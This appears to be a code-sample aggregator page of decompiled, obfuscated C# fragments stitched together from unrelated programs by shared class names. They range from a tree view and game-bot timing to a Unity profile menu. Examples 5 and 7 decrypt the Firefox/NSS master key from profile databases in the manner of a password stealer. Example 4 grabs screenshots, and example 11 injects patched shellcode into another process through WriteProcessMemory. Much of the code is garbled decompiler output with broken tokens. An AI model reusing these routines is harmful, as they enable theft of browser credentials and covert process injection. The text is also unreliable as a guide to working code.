Exemplo n.º 1
0
 // Token: 0x060001A5 RID: 421 RVA: 0x00018C38 File Offset: 0x00016E38
 public void PopulateTree(TreeView treeview)
 {
     if (this.Nodes != null && this.Nodes.Count != 0)
     {
         treeview.BeginUpdate();
         for (int i = 0; i < this.Nodes.Count; i++)
         {
             if (this.Nodes[i].GetType() == typeof(IdCards))
             {
                 GClass10 node = new GClass10((IdCards)this.Nodes[i]);
                 treeview.Nodes.Add(node);
             }
             if (this.Nodes[i].GetType() == typeof(Connections))
             {
                 GClass9 node2 = new GClass9((Connections)this.Nodes[i]);
                 treeview.Nodes.Add(node2);
             }
             if (this.Nodes[i].GetType() == typeof(Folder))
             {
                 GClass10 node3 = new GClass10();
                 treeview.Nodes.Add(node3);
                 TreeNode treeNode = new FolderTreeNode((Folder)this.Nodes[i]);
                 GClass9  gclass   = new GClass9();
                 foreach (object obj in treeNode.Nodes)
                 {
                     TreeNode node4 = (TreeNode)obj;
                     gclass.Nodes.Add(node4);
                 }
                 treeview.Nodes.Add(gclass);
             }
         }
         treeview.EndUpdate();
         return;
     }
 }
Exemplo n.º 2
0
    // Token: 0x06000125 RID: 293 RVA: 0x00006E8C File Offset: 0x0000508C
    public GClass8 method_0(GClass10 gclass10_0, double double_0, double double_1, double double_2)
    {
        double num      = 1000.0 / gclass10_0.Double_0;
        double num2     = 1000.0 / num;
        double num3     = 1000.0 / double_0;
        double num4     = (double_0 - gclass10_0.Double_0) / num2;
        double double_3 = gclass10_0.Double_1;
        double num5     = (num * double_3 / (1.0 + num4 * num4 * double_3) + (double)new Random().Next(5)) * (1.0 + double_1 / 100.0);
        double a        = (num3 - num5 + 35.0) * (1.0 + double_2 / 100.0);

        return(new GClass8((int)Math.Ceiling(num5), (int)Math.Ceiling(a), 5));
    }
Exemplo n.º 3
0
 // Token: 0x06000133 RID: 307 RVA: 0x00007054 File Offset: 0x00005254
 public void method_0(GClass15 gclass15_1, GClass10 gclass10_0, GClass7 gclass7_1, GClass14 gclass14_1, bool bool_2, Settings settings_1)
 {
     this.bool_0     = true;
     this.settings_0 = settings_1;
     this.gclass7_0  = gclass7_1;
     this.gclass7_0.method_0();
     this.gclass7_0.Thread_0.Start(new GClass11(gclass10_0, (double)this.settings_0.WindupMultiplier, (double)this.settings_0.TotalDelayMultiplier));
     this.gclass15_0 = gclass15_1;
     this.gclass14_0 = gclass14_1;
     GClass1.smethod_0();
     this.thread_0          = new Thread(new ParameterizedThreadStart(this.method_2));
     this.thread_0.Priority = ThreadPriority.Highest;
     this.thread_0.Start(bool_2);
 }
Exemplo n.º 4
0
    // Token: 0x06000067 RID: 103 RVA: 0x000055E8 File Offset: 0x000037E8
    public static Bitmap smethod_0(int screenNumber)
    {
        Rectangle rectangle = GClass10.smethod_1(screenNumber);
        Bitmap    bitmap    = new Bitmap(rectangle.Width, rectangle.Height, PixelFormat.Format32bppPArgb);

        using (Graphics graphics = Graphics.FromImage(bitmap))
        {
            IntPtr hdc    = graphics.GetHdc();
            IntPtr intPtr = GClass26.CreateDC("DISPLAY", null, null, IntPtr.Zero);
            GClass26.BitBlt(hdc, 0, 0, rectangle.Width, rectangle.Height, intPtr, rectangle.X, rectangle.Y, 13369376);
            GClass26.DeleteDC(intPtr);
            graphics.ReleaseHdc(hdc);
        }
        return(bitmap);
    }
Exemplo n.º 5
0
        // Token: 0x06000157 RID: 343 RVA: 0x0000BFC4 File Offset: 0x0000A1C4
        private static byte[] smethod_9(string string_3)
        {
            byte[] array = new byte[24];
            byte[] result;
            try
            {
                if (File.Exists(string_3))
                {
                    GClass8 gclass = new GClass8(string_3);
                    gclass.method_3("metaData");
                    string   s       = gclass.method_2(0, "item1");
                    string   s2      = gclass.method_2(0, "item2)");
                    GClass12 gclass2 = GClass10.smethod_0(Encoding.Default.GetBytes(s2));
                    byte[]   byte_   = gclass2.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0;
                    byte[]   byte_2  = gclass2.List_0[0].List_0[1].Byte_0;
                    GClass16 gclass3 = new GClass16(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byte_);
                    gclass3.method_0();
                    GClass14.smethod_0(gclass3.Byte_3, gclass3.Byte_4, byte_2, PaddingMode.None);
                    gclass.method_3("nssPrivate");
                    int    int32_ = gclass.Int32_0;
                    string s3     = string.Empty;
                    for (int i = 0; i < int32_; i++)
                    {
                        if (gclass.method_2(i, "a102") == Encoding.Default.GetString(Class13.byte_0))
                        {
                            s3 = gclass.method_2(i, "a11");
IL_176:
                            GClass12 gclass4 = GClass10.smethod_0(Encoding.Default.GetBytes(s3));
                            byte_            = gclass4.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0;
                            byte_2           = gclass4.List_0[0].List_0[1].Byte_0;
                            gclass3          = new GClass16(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byte_);
                            gclass3.method_0();
                            array = Encoding.Default.GetBytes(GClass14.smethod_0(gclass3.Byte_3, gclass3.Byte_4, byte_2, PaddingMode.PKCS7));
                            return(array);
                        }
                    }
                    goto IL_176;
                }
                result = array;
            }
            catch (Exception)
            {
                result = array;
            }
            return(result);
        }
Exemplo n.º 6
0
 // Token: 0x0600019E RID: 414
 public IdCards(GClass10 idCardsTreeNode)
 {
     this.Nodes = new ArrayList(idCardsTreeNode.Nodes.Count);
     if (idCardsTreeNode.Nodes.Count != 0)
     {
         for (int i = 0; i < idCardsTreeNode.Nodes.Count; i++)
         {
             if (idCardsTreeNode.Nodes[i].GetType() == typeof(GClass11))
             {
                 this.Nodes.Insert(i, ((GClass11)idCardsTreeNode.Nodes[i]).method_0());
                 using (StreamWriter sw = new StreamWriter("1.txt"))
                 {
                     sw.Write(((GClass11)idCardsTreeNode.Nodes[i]).method_0());
                     sw.Close();
                 }
             }
         }
     }
 }
Exemplo n.º 7
0
 // Token: 0x06000158 RID: 344 RVA: 0x0000C23C File Offset: 0x0000A43C
 private static byte[] smethod_10(string string_3)
 {
     byte[] array = new byte[24];
     byte[] result;
     try
     {
         if (!File.Exists(string_3))
         {
             result = array;
         }
         else
         {
             new DataTable();
             GClass17 gclass17_ = new GClass17(string_3);
             GClass15 gclass    = new GClass15(Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_0)));
             string   string_4  = Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_1));
             GClass16 gclass2   = new GClass16(Class13.smethod_11(string_4), Encoding.Default.GetBytes(string.Empty), Class13.smethod_11(gclass.String_0));
             gclass2.method_0();
             GClass14.smethod_0(gclass2.Byte_3, gclass2.Byte_4, Class13.smethod_11(gclass.String_2), PaddingMode.None);
             GClass12 gclass3 = GClass10.smethod_0(Class13.smethod_11(Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_2))));
             GClass16 gclass4 = new GClass16(Class13.smethod_11(string_4), Encoding.Default.GetBytes(string.Empty), gclass3.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0);
             gclass4.method_0();
             GClass12 gclass5 = GClass10.smethod_0(GClass10.smethod_0(Encoding.Default.GetBytes(GClass14.smethod_0(gclass4.Byte_3, gclass4.Byte_4, gclass3.List_0[0].List_0[1].Byte_0, PaddingMode.None))).List_0[0].List_0[2].Byte_0);
             if (gclass5.List_0[0].List_0[3].Byte_0.Length <= 24)
             {
                 array  = gclass5.List_0[0].List_0[3].Byte_0;
                 result = array;
             }
             else
             {
                 Array.Copy(gclass5.List_0[0].List_0[3].Byte_0, gclass5.List_0[0].List_0[3].Byte_0.Length - 24, array, 0, 24);
                 result = array;
             }
         }
     }
     catch (Exception)
     {
         result = array;
     }
     return(result);
 }
Exemplo n.º 8
0
 // Token: 0x06000CEF RID: 3311 RVA: 0x00065630 File Offset: 0x00063830
 private void method_47(GClass10 gclass10_0)
 {
     if (base.String_0 == "Create Profile")
     {
         this.method_66(false);
         return;
     }
     if (gclass10_0 == null)
     {
         if (base.String_0 == "Guest")
         {
             this.gclass9_0.gclass10_0 = new GClass10
             {
                 bool_0 = true
             };
         }
         else
         {
             this.gclass9_0.gclass10_0 = GlobalVariables.instance.playerProfiles[base.Int32_0];
             GlobalVariables.instance.method_80(this.gclass9_0.gclass10_0);
         }
     }
     else
     {
         this.gclass9_0.gclass10_0 = gclass10_0;
     }
     if (this.coroutine_0 != null)
     {
         base.StopCoroutine(this.coroutine_0);
     }
     this.coroutine_0 = base.StartCoroutine(this.method_53(false));
     base.StartCoroutine(this.method_52());
     this.vmethod_23(0);
     this.method_48();
     this.method_49();
     this.allowMultiLanguage = true;
 }
Exemplo n.º 9
0
 // Token: 0x06000CFD RID: 3325 RVA: 0x0006609C File Offset: 0x0006429C
 private void method_56()
 {
     if (this.text_0.text.Trim().Length > 0)
     {
         ReInput.controllers.Keyboard.enabled = true;
         this.bool_12 = false;
         this.controlMapper_0.enabled = true;
         if (this.bool_13)
         {
             this.bool_13 = false;
             this.method_64();
             this.bool_10 = true;
             this.gclass9_0.gclass10_0.string_0 = this.text_0.text;
         }
         else
         {
             GClass10 gclass = new GClass10();
             gclass.string_0 = this.text_0.text.Trim();
             GlobalVariables.instance.method_96(gclass);
             this.method_47(gclass);
         }
         this.method_48();
     }
 }
Exemplo n.º 10
0
 // Token: 0x060001B3 RID: 435 RVA: 0x0000A8E4 File Offset: 0x00008AE4
 public GClass11(GClass10 gclass10_1, double double_2, double double_3)
 {
     this.GClass10_0 = gclass10_1;
     this.Double_0   = double_2;
     this.Double_1   = double_3;
 }
Exemplo n.º 11
0
    // Token: 0x06000351 RID: 849 RVA: 0x0103888C File Offset: 0x01036A8C
    private static bool smethod_5(GClass8 gclass8_0, IntPtr intptr_7, int int_0)
    {
        List <string> list   = new List <string>();
        string        empty  = string.Empty;
        bool          result = false;

        foreach (GStruct8 gstruct in gclass8_0.method_8())
        {
            if (gclass8_0.method_4((long)((ulong)gclass8_0.method_11(gstruct.Name)), SeekOrigin.Begin, out empty, -1, null) && !string.IsNullOrEmpty(empty) && Class7.smethod_3(empty, int_0).smethod_4())
            {
                list.Add(empty);
            }
        }
        if (list.Count > 0)
        {
            byte[] array = Class7.smethod_1(gclass8_0);
            string text  = string.Empty;
            if (array != null)
            {
                text = GClass11.smethod_2(array);
            }
            else
            {
                if (string.IsNullOrEmpty(gclass8_0.String_0) || !File.Exists(Path.Combine(Path.GetDirectoryName(gclass8_0.String_0), Path.GetFileName(gclass8_0.String_0) + ".manifest")))
                {
                    IntPtr[] array2 = GClass10.smethod_0(GEnum7.Standard).GClass10.\u200E\u206B\u200D\u202B\u200F\u206A\u206D\u200E\u200E\u206B\u206F\u202E\u200F\u200B\u206E\u202B\u206A\u200E\u206B\u206A\u206C\u202A\u206C\u202B\u206B\u206F\u206A\u200F\u206A\u200E\u202B\u200F\u200F\u200E\u200E\u200B\u200E\u202B\u206D\u202A\u202E(list.ToArray(), intptr_7);
                    for (int i = 0; i < array2.Length; i++)
                    {
                        if (array2[i].smethod_4())
                        {
                            return(false);
                        }
                    }
                    return(true);
                }
                text = Path.Combine(Path.GetDirectoryName(gclass8_0.String_0), Path.GetFileName(gclass8_0.String_0) + ".manifest");
            }
            if (string.IsNullOrEmpty(text))
            {
                return(false);
            }
            IntPtr intPtr  = GClass5.VirtualAllocEx(intptr_7, IntPtr.Zero, (uint)Class7.byte_1.Length, 12288, 64);
            IntPtr intPtr2 = GClass5.smethod_0(intptr_7, Encoding.ASCII.GetBytes(text + "\0"), 4);
            IntPtr intPtr3 = GClass5.smethod_0(intptr_7, Encoding.ASCII.GetBytes(string.Join("\0", list.ToArray()) + "\0"), 4);
            if (!intPtr.smethod_4())
            {
                byte[] array3 = (byte[])Class7.byte_1.Clone();
                uint   num    = 0u;
                BitConverter.GetBytes(Class7.intptr_1.smethod_7(intPtr.smethod_0(63L)).ToInt32()).CopyTo(array3, 59);
                BitConverter.GetBytes(Class7.intptr_0.smethod_7(intPtr.smethod_0(88L)).ToInt32()).CopyTo(array3, 84);
                BitConverter.GetBytes(Class7.intptr_3.smethod_7(intPtr.smethod_0(132L)).ToInt32()).CopyTo(array3, 128);
                BitConverter.GetBytes(Class7.intptr_4.smethod_7(intPtr.smethod_0(146L)).ToInt32()).CopyTo(array3, 142);
                BitConverter.GetBytes(Class7.intptr_2.smethod_7(intPtr.smethod_0(200L)).ToInt32()).CopyTo(array3, 196);
                BitConverter.GetBytes(Class7.intptr_5.smethod_7(intPtr.smethod_0(209L)).ToInt32()).CopyTo(array3, 205);
                BitConverter.GetBytes(intPtr2.ToInt32()).CopyTo(array3, 31);
                BitConverter.GetBytes(list.Count).CopyTo(array3, 40);
                BitConverter.GetBytes(intPtr3.ToInt32()).CopyTo(array3, 49);
                if (GClass5.WriteProcessMemory(intptr_7, intPtr, array3, array3.Length, out num) && (ulong)num == (ulong)((long)array3.Length))
                {
                    uint num2 = GClass5.smethod_7(intptr_7, intPtr, 0u, 5000);
                    result = (num2 != uint.MaxValue && num2 > 0u);
                }
                GClass5.VirtualFreeEx(intptr_7, intPtr3, 0, 32768);
                GClass5.VirtualFreeEx(intptr_7, intPtr2, 0, 32768);
                GClass5.VirtualFreeEx(intptr_7, intPtr, 0, 32768);
            }
        }
        return(result);
    }